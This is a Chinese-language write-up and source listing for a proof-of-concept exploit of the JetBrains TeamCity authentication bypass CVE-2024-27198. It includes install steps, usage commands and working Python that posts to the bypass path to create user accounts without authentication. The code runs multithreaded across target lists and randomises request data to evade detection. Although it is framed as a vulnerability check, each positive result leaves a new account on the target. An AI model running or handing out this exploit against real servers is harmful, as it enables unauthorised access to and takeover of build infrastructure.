TeamCity 认证绕过漏洞利用工具 (CVE-2024-27198)

4 阅读4分钟

TeamCity 认证绕过漏洞利用工具 (CVE-2024-27198)

这是一个针对 JetBrains TeamCity 认证绕过漏洞(CVE-2024-27198)的概念验证(Proof of Concept)利用工具。该漏洞影响 2023.11.4 之前的 TeamCity 版本,允许未经授权的攻击者绕过身份验证并执行管理员操作,对系统安全构成严重威胁。

本工具旨在帮助安全研究人员和系统管理员验证其 TeamCity 服务器的安全性,通过自动化方式检测漏洞是否存在,并演示其潜在风险。

功能特性

  • 自动化漏洞检测:通过发送特制的请求,快速判断目标系统是否存在 CVE-2024-27198 漏洞。
  • 多线程并发扫描:利用 ThreadPoolExecutor 实现对多个目标的高效并发检测,显著提升扫描效率。
  • 友好的进度展示:集成 alive-progress 库,在扫描过程中提供动态、可视化的进度条。
  • 美观的命令行界面:使用 rich 库在终端中打印彩色 ASCII Art 和状态信息,提升用户体验。
  • 随机化请求数据:自动生成随机的用户名、密码和邮箱等测试数据,避免请求特征被轻易识别。

安装指南

系统要求

  • Python 3.8 或更高版本
  • 网络连接(用于发送 HTTP 请求)

依赖项

项目依赖库已列出在 requirements.txt 中,主要包含:

  • requests: 用于发送 HTTP/HTTPS 请求。
  • rich: 用于在终端中输出彩色和格式化的文本。
  • alive-progress: 用于显示动态进度条。
  • urllib3: 用于禁用不安全请求的警告。

安装步骤

  1. 克隆项目仓库

    git clone https://github.com/your-username/CVE-2024-27198-PoC.git
    cd CVE-2024-27198-PoC
    
  2. 安装依赖库: 建议在虚拟环境中安装依赖:

    pip install -r requirements.txt
    

    或者手动安装:

    pip install requests rich alive-progress
    

使用说明

基本用法

该工具是一个命令行程序,您需要指定一个或多个目标 URL 进行检测。

python CVE-2024-27198.py -u http://target-teamcity.com

命令行参数

  • -u, --url: 指定单个目标 TeamCity 实例的 URL。
  • -f, --file: 指定一个包含多个目标 URL(每行一个)的文本文件。
  • -t, --threads: 设置并发线程数,默认为 10。

典型使用场景

1. 检测单个目标
python CVE-2024-27198.py -u https://teamcity.example.com:8111
2. 批量检测多个目标
python CVE-2024-27198.py -f targets.txt -t 20

targets.txt 文件示例:

http://192.168.1.100
https://teamcity.internal.com
http://10.0.0.50:8111

工作原理

工具会向目标 TeamCity 服务器的 /hax?jsp=/app/rest/users;.jsp 路径发送一个精心构造的 POST 请求。该请求会尝试添加一个带有随机凭据的新用户。如果添加成功,则表示目标系统存在该认证绕过漏洞,因为未授权的请求成功创建了用户。

输出示例

成功检测到漏洞时,控制台会显示类似以下信息:

[+] http://target-teamcity.com is vulnerable! Created user: username: a3f5g7, password: h9k2m1

如果目标系统不存在漏洞或已修复,则会显示:

[-] http://target-teamcity.com is not vulnerable or already patched.

核心代码

以下是该项目中实现核心漏洞检测逻辑的代码片段及注释:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import binascii
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from rich.console import Console
from alive_progress import alive_bar
from urllib3.exceptions import InsecureRequestWarning

# 禁用不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

color = Console()

# 漏洞利用的特定路径
VULN_PATH = '/hax?jsp=/app/rest/users;.jsp'

# 请求头,模拟正常浏览器行为
HEADERS = {
    'Content-Type': 'application/json',
    'User-Agent': 'Mozilla/5.0 (Linux; Android 11; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36',
}

def random_credentials(length=10):
    """生成随机字符串,用于构造测试用户的用户名和密码"""
    return binascii.hexlify(os.urandom(length)).decode()[:length]

def generate_user_data():
    """生成用于创建用户的随机数据(用户名、密码、邮箱)"""
    return {
        "username": random_credentials(5),
        "password": random_credentials(5),
        "email": f"{random_credentials(5)}@example.com",
    }

def check_vulnerability(url):
    """
    核心检测函数,向目标URL发送请求以验证CVE-2024-27198漏洞。
    如果成功添加用户,则认为存在漏洞。
    """
    target_url = url.rstrip('/') + VULN_PATH
    user_data = generate_user_data()

    try:
        # 发送POST请求,尝试创建新用户
        response = requests.post(target_url, json=user_data, headers=HEADERS, verify=False, timeout=10)

        # 检查响应状态码和内容,判断用户是否创建成功
        if response.status_code == 200 and user_data['username'] in response.text:
            return True, user_data['username'], user_data['password']
        else:
            return False, None, None
    except requests.exceptions.RequestException as e:
        # 发生网络错误时,返回失败状态
        return False, None, None

def main(urls, threads=10):
    """多线程调度,对多个目标进行并发检测"""
    results = []
    with alive_bar(len(urls), title="Scanning Progress", bar="smooth") as bar:
        with ThreadPoolExecutor(max_workers=threads) as executor:
            # 提交所有任务
            future_to_url = {executor.submit(check_vulnerability, url): url for url in urls}
            for future in as_completed(future_to_url):
                url = future_to_url[future]
                is_vuln, username, password = future.result()
                if is_vuln:
                    msg = f"[+] {url} is vulnerable! Created user: username: {username}, password: {password}"
                    color.print(msg, style="bold green")
                    results.append((url, True, username, password))
                else:
                    msg = f"[-] {url} is not vulnerable or already patched."
                    color.print(msg, style="dim")
                    results.append((url, False, None, None))
                bar()
    return results

if __name__ == "__main__":
    # 命令行参数解析(省略)
    # ...
    # 假设 urls 列表包含从命令行参数或文件读取的目标URL
    # main(urls, threads)
    pass

6HFtX5dABrKlqXeO5PUv/6VT6BOMPyDuLawUE5HJx/r0uyoEhCQwVt4kzCpyJxdR